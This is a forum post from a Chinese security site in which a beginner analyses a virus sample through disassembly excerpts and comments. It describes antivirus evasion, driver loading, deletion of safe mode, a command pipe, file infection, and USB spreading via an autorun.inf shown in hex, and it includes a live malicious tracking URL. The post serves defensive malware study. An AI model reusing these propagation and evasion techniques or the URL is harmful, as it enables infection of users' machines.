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零度x
发表于 2010-6-19 03:00
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子! 病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途! 禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 是昔流芳 于 2011-2-11 12:13 编辑
多谢hmily的鼓励,让我有了继续分析的信心。
但是由于实在是没有经验,难免漏掉一些行为,还有很多地方分析的不好,虚心请教大牛们指点~
驱动接触的也实在不多,没有分析驱动~
00871B9A |. 6A 1C push 1C
00871B9C |. 8D45 E4 lea eax, dword ptr [ebp-1C]
00871B9F |. 50 push eax
00871BA0 |. FF75 E0 push dword ptr [ebp-20]
00871BA3 |. FF15 2C918700 call dword ptr [<&KERNEL32.VirtualQue>
00871BA9 |. 8B45 E8 mov eax, dword ptr [ebp-18]
00871BAC |. A3 38DC8700 mov dword ptr [87DC38], eax
00871BB1 |. 6A 00 push 0
00871BB3 |. FF15 04918700 call dword ptr [<&KERNEL32.GetModuleH>
00871BB9 |. 3B05 38DC8700 cmp eax, dword ptr [87DC38]
00871BBF |. 75 16 jnz short 00871BD7
008758E2 |. 6A 00 push 0
008758E4 |. 6A 00 push 0
008758E6 |. 6A 00 push 0
008758E8 |. 68 9D538700 push 0087539D
008758ED |. 6A 00 push 0
008758EF |. 6A 00 push 0
008758F1 |. FF15 80918700 call dword ptr [<&KERNEL32.CreateThre>
008758F7 |> 33C0 xor eax, eax
线程A:
查找卡巴和Defender的进程,如果存在就试图躲避杀毒软件查杀,然后以标准方式加载驱动,执行后删除,并且删除了安全模式,最后创建了6个线程。00871681 |> \6A 00 push 0
00871683 |. 68 80000000 push 80
00871688 |. FFB5 E8FEFFFF push dword ptr [ebp-118]
0087168E |. 6A 00 push 0
00871690 |. 6A 03 push 3
00871692 |. 68 000000C0 push C0000000
00871697 |. 68 08938700 push 00879308
0087169C |. FF15 C4908700 call dword ptr [<&KERNEL32.CreateFile>
008716A2 |. 8985 ECFEFFFF mov dword ptr [ebp-114], eax
008717BA |. 6A 00 push 0
008717BC |. 8D45 FC lea eax, dword ptr [ebp-4]
008717BF |. 50 push eax
008717C0 |. 68 04010000 push 104
008717C5 |. 8D85 F0FEFFFF lea eax, dword ptr [ebp-110]
008717CB |. 50 push eax
008717CC |. FFB5 ECFEFFFF push dword ptr [ebp-114]
008717D2 |. FF15 EC908700 call dword ptr [<&KERNEL32.ReadFile>]
008717D8 |. FFB5 ECFEFFFF push dword ptr [ebp-114]
008717DE |. FF15 10918700 call dword ptr [<&KERNEL32.CloseHandl>
00871812 |. 50 |push eax
00871813 |. FF15 18918700 |call dword ptr [<&KERNEL32.DeleteFil>
00871819 |. 83F8 01 |cmp eax, 1
0087182A |> \68 08938700 push 00879308
0087182F |. FF15 18918700 call dword ptr [<&KERNEL32.DeleteFile>
00871835 |. 8B85 F0FEFFFF mov eax, dword ptr [ebp-110]
00871125 |. 6A 00 push 0
00871127 |. 6A 02 push 2
00871129 |. E8 627D0000 call <jmp.&KERNEL32.CreateToolhelp32S>
0087112E |. 8985 D0FEFFFF mov dword ptr [ebp-130], eax
00871134 |. 8D85 D8FEFFFF lea eax, dword ptr [ebp-128]
0087113A |. 50 push eax
0087113B |. FFB5 D0FEFFFF push dword ptr [ebp-130]
00871141 |. E8 3E7D0000 call <jmp.&KERNEL32.Process32First>
00871146 |> FF75 08 /push dword ptr [ebp+8]
00871149 |. 8D85 FCFEFFFF |lea eax, dword ptr [ebp-104]
0087114F |. 50 |push eax
00871150 |. FF15 F0908700 |call dword ptr [<&KERNEL32.lstrcmpiA>
00871156 |. 85C0 |test eax, eax
00871158 |. 75 0E |jnz short 00871168
0087115A |. 8B85 E0FEFFFF |mov eax, dword ptr [ebp-120]
00871160 |. 8985 D4FEFFFF |mov dword ptr [ebp-12C], eax
00871166 |. EB 16 |jmp short 0087117E
00871168 |> 8D85 D8FEFFFF |lea eax, dword ptr [ebp-128]
0087116E |. 50 |push eax
0087116F |. FFB5 D0FEFFFF |push dword ptr [ebp-130]
00871175 |. E8 107D0000 |call <jmp.&KERNEL32.Process32Next>
0087117A |. 85C0 |test eax, eax
0087117C |.^ 75 C8 \jnz short 00871146
0087117E |> FFB5 D0FEFFFF push dword ptr [ebp-130]
00871184 |. FF15 10918700 call dword ptr [<&KERNEL32.CloseHandl>
008754D7 . 68 18D48700 push 0087D418
008754DC . 68 04010000 push 104
008754E1 . FF15 4C918700 call dword ptr [<&KERNEL32.GetTempPat>
008754E7 . 68 04010000 push 104
008754FB . 68 04010000 push 104
00875500 . 68 20D58700 push 0087D520
00875505 . FF15 B0908700 call dword ptr [<&KERNEL32.GetSystemD>
0087550B . 68 04010000 push 104
00871536 . 50 push eax
00871537 . 68 F0928700 push 008792F0
0087153C . FF15 04918700 call dword ptr [<&KERNEL32.GetModuleH>
00871542 . 50 push eax
00871543 . FF15 F4908700 call dword ptr [<&KERNEL32.GetProcAdd>
00871549 . 8945 F8 mov dword ptr [ebp-8], eax
0087154C . 68 00938700 push 00879300
00871551 . 0FB745 10 movzx eax, word ptr [ebp+10]
00871555 . 50 push eax
00871556 . FF75 0C push dword ptr [ebp+C]
00871559 . FF15 C8908700 call dword ptr [<&KERNEL32.FindResour>
0087155F . 8945 E0 mov dword ptr [ebp-20], eax
00871562 . FF75 E0 push dword ptr [ebp-20]
00871565 . FF75 0C push dword ptr [ebp+C]
00871568 . FF15 E8908700 call dword ptr [<&KERNEL32.SizeofReso>
0087156E . 8945 FC mov dword ptr [ebp-4], eax
00871571 . FF75 E0 push dword ptr [ebp-20]
00871574 . FF75 0C push dword ptr [ebp+C]
00871577 . FF55 F8 call dword ptr [ebp-8]
0087157A . 8945 BC mov dword ptr [ebp-44], eax
008715D3 . 6A 00 push 0
008715D5 . FF75 14 push dword ptr [ebp+14]
008715D8 . 6A 02 push 2
008715DA . 6A 00 push 0
008715DC . 6A 03 push 3
008715DE . 68 000000C0 push C0000000
008715E3 . FF75 08 push dword ptr [ebp+8]
008715E6 . FF15 C4908700 call dword ptr [<&KERNEL32.CreateFile>
008715EC . 8945 E8 mov dword ptr [ebp-18], eax
0087533A |. 68 3F000F00 push 0F003F
0087533F |. 6A 00 push 0
00875341 |. 6A 00 push 0
00875343 |. FF15 18908700 call dword ptr [<&ADVAPI32.OpenSCMana>
00875349 |. 8945 FC mov dword ptr [ebp-4], eax
0087534C |. 6A 00 push 0
0087534E |. 6A 00 push 0
00875350 |. 6A 00 push 0
00875352 |. 6A 00 push 0
00875354 |. 6A 00 push 0
00875356 |. FF75 08 push dword ptr [ebp+8]
00875359 |. 6A 01 push 1
0087535B |. 6A 03 push 3
0087535D |. 6A 01 push 1
0087535F |. 68 FF010F00 push 0F01FF
00875364 |. 68 44988700 push 00879844
00875369 |. 68 44988700 push 00879844
0087536E |. FF75 FC push dword ptr [ebp-4]
00875371 |. FF15 20908700 call dword ptr [<&ADVAPI32.CreateServ>
00875377 |. 8945 F8 mov dword ptr [ebp-8], eax
0087537A |. 6A 00 push 0
0087537C |. 6A 00 push 0
0087537E |. FF75 F8 push dword ptr [ebp-8]
00875381 |. FF15 24908700 call dword ptr [<&ADVAPI32.StartServi>
00875387 |. FF75 F8 push dword ptr [ebp-8]
0087538A |. FF15 00908700 call dword ptr [<&ADVAPI32.CloseServi>
00875390 |. FF75 FC push dword ptr [ebp-4]
00875393 |. FF15 00908700 call dword ptr [<&ADVAPI32.CloseServi>
0087559E . 50 push eax
0087559F . 68 02000080 push 80000002
008755A4 . FF95 D0F6FFFF call dword ptr [ebp-930]
008755AA . 8D85 C0F4FFFF lea eax, dword ptr [ebp-B40]
008755B0 . 50 push eax
008755B1 . FF15 18918700 call dword ptr [<&KERNEL32.DeleteFile>
008755B7 . 68 04010000 push 104
00871AA0 |. 50 push eax
00871AA1 |. 68 1F000200 push 2001F
00871AA6 |. 6A 00 push 0
00871AA8 |. 8D85 78FBFFFF lea eax, dword ptr [ebp-488]
00871AAE |. 50 push eax
00871AAF |. 68 02000080 push 80000002
00871AB4 |. FF15 0C908700 call dword ptr [<&ADVAPI32.RegOpenKey>
00871ABA |. 6A 04 push 4
00871ABC |. 8D45 10 lea eax, dword ptr [ebp+10]
00871ABF |. 50 push eax
00871AC0 |. 6A 04 push 4
00871AC2 |. 6A 00 push 0
00871AC4 |. 68 80948700 push 00879480
00871AC9 |. FF75 BC push dword ptr [ebp-44]
00871ACC |. FF15 08908700 call dword ptr [<&ADVAPI32.RegSetValu>
00871AD2 |. FF75 BC push dword ptr [ebp-44]
00871AD5 |. FF15 10908700 call dword ptr [<&ADVAPI32.RegCloseKe>
0087586E > \6A 00 push 0
00875870 . 6A 00 push 0
00875872 . 6A 00 push 0
00875874 . 68 63518700 push 00875163
00875879 . 6A 00 push 0
0087587B . 6A 00 push 0
0087587D . FF15 80918700 call dword ptr [<&KERNEL32.CreateThre>
00875883 . 6A 00 push 0
00875885 . 6A 00 push 0
00875887 . 6A 00 push 0
00875889 . 68 4A378700 push 0087374A
0087588E . 6A 00 push 0
00875890 . 6A 00 push 0
00875892 . FF15 80918700 call dword ptr [<&KERNEL32.CreateThre>
00875898 . 8D85 D8FEFFFF lea eax, dword ptr [ebp-128]
0087694E |. 6A 00 push 0
00876950 |. 6A 00 push 0
00876952 |. 6A 00 push 0
00876954 |. 68 AB8C8700 push 00878CAB
00876959 |. 6A 00 push 0
0087695B |. 6A 00 push 0
0087695D |. FF15 80918700 call dword ptr [<&KERNEL32.CreateThre>
00876963 |. 68 409B8700 push 00879B40
00876968 |. 68 02000080 push 80000002
0087696D |. FF15 F4918700 call dword ptr [<&SHLWAPI.SHDeleteKey>
00876973 |. 68 749B8700 push 00879B74
00876978 |. 68 02000080 push 80000002
0087697D |. FF15 F4918700 call dword ptr [<&SHLWAPI.SHDeleteKey>
00876983 |. 833D 50B58700>cmp dword ptr [87B550], -1
00871C0B |. 68 04010000 push 104
00871C10 |. 8D85 E8FEFFFF lea eax, dword ptr [ebp-118]
00871C16 |. 50 push eax
00871C17 |. FF75 08 push dword ptr [ebp+8]
00871C1A |. FF15 00918700 call dword ptr [<&KERNEL32.GetModuleF>
00871C20 |. 83A5 E0FEFFFF>and dword ptr [ebp-120], 0
00871C3F |. 6A 00 |push 0
00871C41 |. 6A 00 |push 0
00871C43 |. 6A 03 |push 3
00871C45 |. 6A 00 |push 0
00871C47 |. 6A 01 |push 1
00871C49 |. 68 00000080 |push 80000000
00871C4E |. 8D85 E8FEFFFF |lea eax, dword ptr [ebp-118]
00871C54 |. 50 |push eax
00871C55 |. FF15 C4908700 |call dword ptr [<&KERNEL32.CreateFil>
00871C5B |. 8945 F4 |mov dword ptr [ebp-C], eax
00871C70 |> \6A 00 push 0
00871C72 |. FF75 F4 push dword ptr [ebp-C]
00871C75 |. FF15 24918700 call dword ptr [<&KERNEL32.GetFileSiz>
00871C7B |. 8945 F8 mov dword ptr [ebp-8], eax
00871CEF |. 6A 00 push 0
00871CF1 |. 8D45 FC lea eax, dword ptr [ebp-4]
00871CF4 |. 50 push eax
00871CF5 |. FF75 F8 push dword ptr [ebp-8]
00871CF8 |. FFB5 E4FEFFFF push dword ptr [ebp-11C]
00871CFE |. FF75 F4 push dword ptr [ebp-C]
00871D01 |. FF15 EC908700 call dword ptr [<&KERNEL32.ReadFile>]
00871D07 |. FF75 F4 push dword ptr [ebp-C]
00876B05 |. 6A 00 push 0
00876B07 |. 6A 00 push 0
00876B09 |. 6A 00 push 0
00876B0B |. 68 24638700 push 00876324
00876B10 |. 6A 00 push 0
00876B12 |. 6A 00 push 0
00876B14 |. FF55 FC call dword ptr [ebp-4]
00876B17 |> 833D 84C68700>cmp dword ptr [87C684], 0
00876B20 |. 6A 00 push 0
00876B22 |. 6A 00 push 0
00876B24 |. 6A 00 push 0
00876B26 |. 68 988A8700 push 00878A98
00876B2B |. 6A 00 push 0
00876B2D |. 6A 00 push 0
00876B2F |. FF55 FC call dword ptr [ebp-4]
00876B32 |> 833D 88C68700>cmp dword ptr [87C688], 0
00876B3B |. 6A 00 push 0
00876B3D |. 6A 00 push 0
00876B3F |. 6A 01 push 1
00876B41 |. 68 DC858700 push 008785DC
00876B46 |. 6A 00 push 0
00876B48 |. 6A 00 push 0
00876B4A |. FF55 FC call dword ptr [ebp-4]
00876B4D |> 833D 8CC68700>cmp dword ptr [87C68C], 0
线程A1:
用IE打开http://tj.nba1001.net:7777/tj/mac.html 10秒后关闭00875224 |. 50 push eax
00875225 |. 8D85 98F9FFFF lea eax, dword ptr [ebp-668]
0087522B |. 50 push eax
0087522C |. 6A 00 push 0
0087522E |. 6A 00 push 0
00875230 |. 68 00000004 push 4000000
00875235 |. 6A 01 push 1
00875237 |. 6A 00 push 0
00875239 |. 6A 00 push 0
0087523B |. 8D85 E0F9FFFF lea eax, dword ptr [ebp-620]
00875241 |. 50 push eax
00875242 |. 6A 00 push 0
00875244 |. FF15 3C918700 call dword ptr [<&KERNEL32.CreateProc>
0087524A |. 83F8 01 cmp eax, 1
0087524D |. /75 31 jnz short 00875280
0087524F |. |FFB5 ECFEFFFF push dword ptr [ebp-114]
00875255 |. |FF15 10918700 call dword ptr [<&KERNEL32.CloseHandl>
0087525B |. |68 10270000 push 2710
00875260 |. |FF15 E4908700 call dword ptr [<&KERNEL32.Sleep>]
00875266 |. |6A 00 push 0
00875268 |. |FFB5 E8FEFFFF push dword ptr [ebp-118]
0087526E |. |FF15 B4908700 call dword ptr [<&KERNEL32.TerminateP>
00875274 |. |FFB5 E8FEFFFF push dword ptr [ebp-118]
0087527A |. |FF15 10918700 call dword ptr [<&KERNEL32.CloseHandl>
线程A2:00871B08 |. 50 push eax
00871B09 |. 68 02020000 push 202
00871B0E |. FF15 44928700 call dword ptr [<&WS2_32.#115>]
00871B14 |> 8D85 68FEFFFF /lea eax, dword ptr [ebp-198]
00871B1A |. 50 |push eax
00871B1B |. 6A 00 |push 0
00871B1D |. 6A 00 |push 0
00871B1F |. 68 88948700 |push 00879488
00871B24 |. FF15 48928700 |call dword ptr [<&WS2_32.getaddrinfo>
00871B2A |. 85C0 |test eax, eax
00872D1D |. 68 80958700 push 00879580
00872D22 |. FF15 40918700 call dword ptr [<&KERNEL32.LoadLibrar>
00872D28 |. 8945 F4 mov dword ptr [ebp-C], eax
00872D2B |. 68 8C958700 push 0087958C
00872D30 |. FF75 F4 push dword ptr [ebp-C]
00872D33 |. FF15 F4908700 call dword ptr [<&KERNEL32.GetProcAdd>
00872D39 |. A3 4CDC8700 mov dword ptr [87DC4C], eax
00872D3E |. 68 9C958700 push 0087959C
00872D43 |. FF75 F4 push dword ptr [ebp-C]
00872D46 |. FF15 F4908700 call dword ptr [<&KERNEL32.GetProcAdd>
00872D4C |. A3 50DC8700 mov dword ptr [87DC50], eax
00872D51 |. 68 B0958700 push 008795B0
00872D56 |. FF75 F4 push dword ptr [ebp-C]
00872D59 |. FF15 F4908700 call dword ptr [<&KERNEL32.GetProcAdd>
00872D5F |. A3 54DC8700 mov dword ptr [87DC54], eax
00872D64 |. 68 C0958700 push 008795C0
00872D69 |. FF75 F4 push dword ptr [ebp-C]
00872D6C |. FF15 F4908700 call dword ptr [<&KERNEL32.GetProcAdd>
00872D72 |. A3 58DC8700 mov dword ptr [87DC58], eax
00872D77 |. 68 D4958700 push 008795D4
00872D7C |. FF75 F4 push dword ptr [ebp-C]
00872D7F |. FF15 F4908700 call dword ptr [<&KERNEL32.GetProcAdd>
00872D85 |. A3 5CDC8700 mov dword ptr [87DC5C], eax
00872D8A |. 68 E8958700 push 008795E8
00872D8F |. FF75 F4 push dword ptr [ebp-C]
00872D92 |. FF15 F4908700 call dword ptr [<&KERNEL32.GetProcAdd>
00872D98 |. A3 60DC8700 mov dword ptr [87DC60], eax
008727D9 > \8D85 70FEFFFF lea eax, dword ptr [ebp-190]
008727DF . 50 push eax
008727E0 . 68 02020000 push 202
008727E5 . FF15 44928700 call dword ptr [<&WS2_32.#115>]
008727EB > 8D85 5CFEFFFF lea eax, dword ptr [ebp-1A4]
008727F1 . 50 push eax
008727F2 . 6A 00 push 0
008727F4 . 6A 00 push 0
008727F6 . 68 44958700 push 00879544
008727FB . FF15 48928700 call dword ptr [<&WS2_32.getaddrinfo>>
00872801 . 85C0 test eax, eax
00872812 > \FFB5 5CFEFFFF push dword ptr [ebp-1A4]
00872818 . FF15 50928700 call dword ptr [<&WS2_32.freeaddrinfo>
0087281E . 6A 40 push 40
0087283C . 68 54958700 push 00879554
00872841 . FF15 48928700 call dword ptr [<&WS2_32.getaddrinfo>>
00872847 . 85C0 test eax, eax
0087285B . 50 push eax
0087285C . 8D85 18FEFFFF lea eax, dword ptr [ebp-1E8]
00872862 . 50 push eax
00872863 . 6A 00 push 0
00872865 . 8B85 5CFEFFFF mov eax, dword ptr [ebp-1A4]
0087286B . FF70 10 push dword ptr [eax+10]
0087286E . 8B85 5CFEFFFF mov eax, dword ptr [ebp-1A4]
00872874 . FF70 18 push dword ptr [eax+18]
00872877 . FF95 60FEFFFF call dword ptr [ebp-1A0]
0087287D . FFB5 5CFEFFFF push dword ptr [ebp-1A4]
00872883 . FF15 50928700 call dword ptr [<&WS2_32.freeaddrinfo>
0087380C |> \6A 00 push 0
0087380E |. 6A 00 push 0
00873810 |. 6A 00 push 0
00873812 |. 68 88358700 push 00873588
00873817 |. 6A 00 push 0
00873819 |. 6A 00 push 0
0087381B |. FF15 80918700 call dword ptr [<&KERNEL32.CreateThre>
00873821 |. 8945 F8 mov dword ptr [ebp-8], eax
00873841 |. A3 68DC8700 mov dword ptr [87DC68], eax
00873846 |> FF35 E4B58700 push dword ptr [87B5E4]
0087384C |. FF35 68DC8700 push dword ptr [87DC68]
00873852 |. FF15 50918700 call dword ptr [<&KERNEL32.WaitForSin>
00873858 |. 85C0 test eax, eax
线程A3:
创建命名管道\\.\pipe\96DBA249-E88E-4c47-98DC-E18E6E3E3E5,听取命令。00878CCC . 6A 00 push 0
00878CCE . 6A 00 push 0
00878CD0 . 6A 03 push 3
00878CD2 . 6A 00 push 0
00878CD4 . 6A 00 push 0
00878CD6 . 68 000000C0 push C0000000
00878CDB . FF75 F4 push dword ptr [ebp-C]
00878CDE . FF15 C4908700 call dword ptr [<&KERNEL32.CreateFile>
00878CE4 . 8945 F0 mov dword ptr [ebp-10], eax
00878D1C > \6A 00 push 0
00878D1E . 6A 00 push 0
00878D20 . 68 00010000 push 100
00878D25 . 68 00010000 push 100
00878D2A . 6A 01 push 1
00878D2C . 6A 06 push 6
00878D2E . 6A 03 push 3
00878D30 . FF75 F4 push dword ptr [ebp-C]
00878D33 . FF15 68908700 call dword ptr [<&KERNEL32.CreateName>
00878D39 . 8945 F8 mov dword ptr [ebp-8], eax
00878D41 . 6A 00 push 0
00878D43 . FF75 F8 push dword ptr [ebp-8]
00878D46 . FF15 78908700 call dword ptr [<&KERNEL32.ConnectNam>
00878D4C . 6A 00 push 0
线程A4:
感染exe,rar,htm,html,asp,aspx文件
0876E17 > \6A 00 push 0
00876E19 . 68 80000000 push 80
00876E1E . 6A 03 push 3
00876E20 . 6A 00 push 0
00876E22 . 6A 00 push 0
00876E24 . 68 000000C0 push C0000000
00876E29 . FF75 08 push dword ptr [ebp+8]
00876E2C . FF15 C4908700 call dword ptr [<&KERNEL32.CreateFile>
00876E32 . 8945 98 mov dword ptr [ebp-68], eax
00876E51 . 6A 02 push 2
00876E53 . 6A 00 push 0
00876E55 . 6A 00 push 0
00876E57 . FF75 98 push dword ptr [ebp-68]
00876E5A . FF15 28918700 call dword ptr [<&KERNEL32.SetFilePoi>
00876E60 . 8945 DC mov dword ptr [ebp-24], eax
00876E63 . 6A 00 push 0
00876E65 . 6A 00 push 0
00876E67 . 6A 00 push 0
00876E69 . 6A 04 push 4
00876E6B . 6A 00 push 0
00876E6D . FF75 98 push dword ptr [ebp-68]
00876E70 . FF15 74918700 call dword ptr [<&KERNEL32.CreateFile>
00876E84 > \68 00040000 push 400
00876E89 . 6A 00 push 0
00876E8B . 6A 00 push 0
00876E8D . 68 1F000F00 push 0F001F
00876E92 . FF75 D0 push dword ptr [ebp-30]
00876E95 . FF15 60918700 call dword ptr [<&KERNEL32.MapViewOfF>
00876FB0 . 68 00040000 push 400
00876FB5 . FF75 D8 push dword ptr [ebp-28]
00876FB8 . FF15 94908700 call dword ptr [<&KERNEL32.FlushViewO>
00877304 . FF75 D8 push dword ptr [ebp-28]
00877307 . FF15 64918700 call dword ptr [<&KERNEL32.UnmapViewO>
0087730D . FF75 D0 push dword ptr [ebp-30]
00877310 . FF15 10918700 call dword ptr [<&KERNEL32.CloseHandl>; \CloseHandle
00877316 . 8365 D8 00 and dword ptr [ebp-28], 0
0087731A . 8365 D0 00 and dword ptr [ebp-30], 0
0087731E . 6A 02 push 2
00877320 . 6A 00 push 0
00877322 . 8B85 18FFFFFF mov eax, dword ptr [ebp-E8]
00877328 . 0345 AC add eax, dword ptr [ebp-54]
0087732B . 50 push eax
0087732C . FF75 98 push dword ptr [ebp-68]
0087732F . FF15 28918700 call dword ptr [<&KERNEL32.SetFilePoi>
00877335 . FF75 98 push dword ptr [ebp-68]
00877338 . FF15 30918700 call dword ptr [<&KERNEL32.SetEndOfFi>
线程A5:
感染可移动磁盘
008787A4 . 68 80000000 push 80
008787A9 . 8D85 E8FDFFFF lea eax, dword ptr [ebp-218]
008787AF . 50 push eax
008787B0 . FF15 80908700 call dword ptr [<&KERNEL32.SetFileAtt>
008787B6 . 68 80000000 push 80
008787E0 . 50 push eax
008787E1 . FF15 F0918700 call dword ptr [<&SHLWAPI.PathFileExi>
008787E7 . 83F8 01 cmp eax, 1
00878955 > \6A 00 push 0
00878957 . 68 80000000 push 80
0087895C . 6A 02 push 2
0087895E . 6A 00 push 0
00878960 . 6A 00 push 0
00878962 . 68 000000C0 push C0000000
00878967 . 8D85 D8F4FFFF lea eax, dword ptr [ebp-B28]
0087896D . 50 push eax
0087896E . FF15 C4908700 call dword ptr [<&KERNEL32.CreateFile>
00878974 . 8985 E4FDFFFF mov dword ptr [ebp-21C], eax
00878988 > \6A 00 push 0
0087898A . 8D85 F4FEFFFF lea eax, dword ptr [ebp-10C]
00878990 . 50 push eax
00878991 . 8D85 E0F5FFFF lea eax, dword ptr [ebp-A20]
00878997 . 50 push eax
00878998 . FF15 D0908700 call dword ptr [<&KERNEL32.lstrlenA>]
0087899E . 50 push eax
0087899F . 8D85 E0F5FFFF lea eax, dword ptr [ebp-A20]
008789A5 . 50 push eax
008789A6 . FFB5 E4FDFFFF push dword ptr [ebp-21C]
008789AC . FF15 E0908700 call dword ptr [<&KERNEL32.WriteFile>>
008789B2 . FFB5 E4FDFFFF push dword ptr [ebp-21C]
0006EC78 5B 61 75 74 6F 72 75 6E 5D 0D 0A 4F 50 45 4E 3D [autorun]..OPEN=
0006EC88 72 65 63 79 63 6C 65 2E 7B 36 34 35 46 46 30 34 recycle.{645FF04
0006EC98 30 2D 35 30 38 31 2D 31 30 31 42 2D 39 46 30 38 0-5081-101B-9F08
0006ECA8 2D 30 30 41 41 30 30 32 46 39 35 34 45 7D 5C 53 -00AA002F954E}\S
0006ECB8 65 74 75 70 2E 65 78 65 0D 0A 73 68 65 6C 6C 5C etup.exe..shell\
0006ECC8 6F 70 65 6E 3D B4 F2 BF AA 28 26 4F 29 0D 0A 73 open=打开(&O)..s
0006ECD8 68 65 6C 6C 5C 6F 70 65 6E 5C 43 6F 6D 6D 61 6E hell\open\Comman
0006ECE8 64 3D 72 65 63 79 63 6C 65 2E 7B 36 34 35 46 46 d=recycle.{645FF
0006ECF8 30 34 30 2D 35 30 38 31 2D 31 30 31 42 2D 39 46 040-5081-101B-9F
0006ED08 30 38 2D 30 30 41 41 30 30 32 46 39 35 34 45 7D 08-00AA002F954E}
0006ED18 5C 53 65 74 75 70 2E 65 78 65 20 53 68 6F 77 0D \Setup.exe Show.
0006ED28 0A 73 68 65 6C 6C 5C 6F 70 65 6E 5C 44 65 66 61 .shell\open\Defa
0006ED38 75 6C 74 3D 31 2F 2F 0D 0A 73 68 65 6C 6C 5C 65 ult=1//..shell\e
0006ED48 78 70 6C 6F 72 65 3D D7 CA D4 B4 B9 DC C0 ED C6 xplore=资源管理
0006ED58 F7 28 26 58 29 0D 0A 73 68 65 6C 6C 5C 65 78 70 ?&X)..shell\exp
0006ED68 6C 6F 72 65 5C 43 6F 6D 6D 61 6E 64 3D 72 65 63 lore\Command=rec
0006ED78 79 63 6C 65 2E 7B 36 34 35 46 46 30 34 30 2D 35 ycle.{645FF040-5
0006ED88 30 38 31 2D 31 30 31 42 2D 39 46 30 38 2D 30 30 081-101B-9F08-00
0006ED98 41 41 30 30 32 46 39 35 34 45 7D 5C 53 65 74 75 AA002F954E}\Setu
0006EDA8 70 2E 65 78 65 20 53 68 6F 77 p.exe Show
008789BE . 6A 00 push 0
008789C0 . 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
008789C6 . 50 push eax
008789C7 . FF15 84908700 call dword ptr [<&KERNEL32.CreateDire>
008789CD . 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
008789F0 > \6A 00 push 0
008789F2 . 68 80000000 push 80
008789F7 . 6A 02 push 2
008789F9 . 6A 00 push 0
008789FB . 6A 00 push 0
008789FD . 68 000000C0 push C0000000
00878A02 . 8D85 E8FDFFFF lea eax, dword ptr [ebp-218]
00878A08 . 50 push eax
00878A09 . FF15 C4908700 call dword ptr [<&KERNEL32.CreateFile>
00878A0F . 8985 E4FDFFFF mov dword ptr [ebp-21C], eax
线程A6(无限循环):
0878043 . 6A 40 push 40
00878045 . 8D85 28FEFFFF lea eax, dword ptr [ebp-1D8]
0087804B . 50 push eax
0087804C . FF15 74928700 call dword ptr [<&WS2_32.#57>]
00878052 . 8D85 28FEFFFF lea eax, dword ptr [ebp-1D8]
00878058 . 50 push eax
00878059 . FF15 2C928700 call dword ptr [<&WS2_32.#52>]
00877ABF > \6A 01 push 1
00877AC1 . 6A 03 push 3
00877AC3 . 6A 02 push 2
00877AC5 . FF15 34928700 call dword ptr [<&WS2_32.#23>]
00877ACB . 8945 FC mov dword ptr [ebp-4], eax
00877B04 . FF70 10 push dword ptr [eax+10]
00877B07 . 8B85 40FAFEFF mov eax, dword ptr [ebp+FFFEFA40]
00877B0D . FF70 18 push dword ptr [eax+18]
00877B10 . FF75 FC push dword ptr [ebp-4]
00877B13 . FF15 60928700 call dword ptr [<&WS2_32.#2>]
00877B19 . 83F8 FF cmp eax, -1
00877974 |. 6A 00 push 0
00877976 |. FF75 1C push dword ptr [ebp+1C]
00877979 |. FF75 18 push dword ptr [ebp+18]
0087797C |. FF75 14 push dword ptr [ebp+14]
0087797F |. 8D45 F8 lea eax, dword ptr [ebp-8]
00877982 |. 50 push eax
00877983 |. 8D45 F4 lea eax, dword ptr [ebp-C]
00877986 |. 50 push eax
00877987 |. 6A 01 push 1
00877989 |. 8D45 EC lea eax, dword ptr [ebp-14]
0087798C |. 50 push eax
0087798D |. FF75 08 push dword ptr [ebp+8]
00877990 |. FF15 6C928700 call dword ptr [<&WS2_32.WSARecvFrom>>
00877996 |. 8945 FC mov dword ptr [ebp-4], eax
00877C1C . FF70 10 push dword ptr [eax+10]
00877C1F . 8B85 F4FBFFFF mov eax, dword ptr [ebp-40C]
00877C25 . FF70 18 push dword ptr [eax+18]
00877C28 . 6A 00 push 0
00877C2A . FFB5 B8F9FEFF push dword ptr [ebp+FFFEF9B8]
00877C30 . 8D85 F8FBFFFF lea eax, dword ptr [ebp-408]
00877C36 . 50 push eax
00877C37 . FF75 FC push dword ptr [ebp-4]
00877C3A . FF15 64928700 call dword ptr [<&WS2_32.#20>]
00877C40 . 83F8 FF cmp eax, -1
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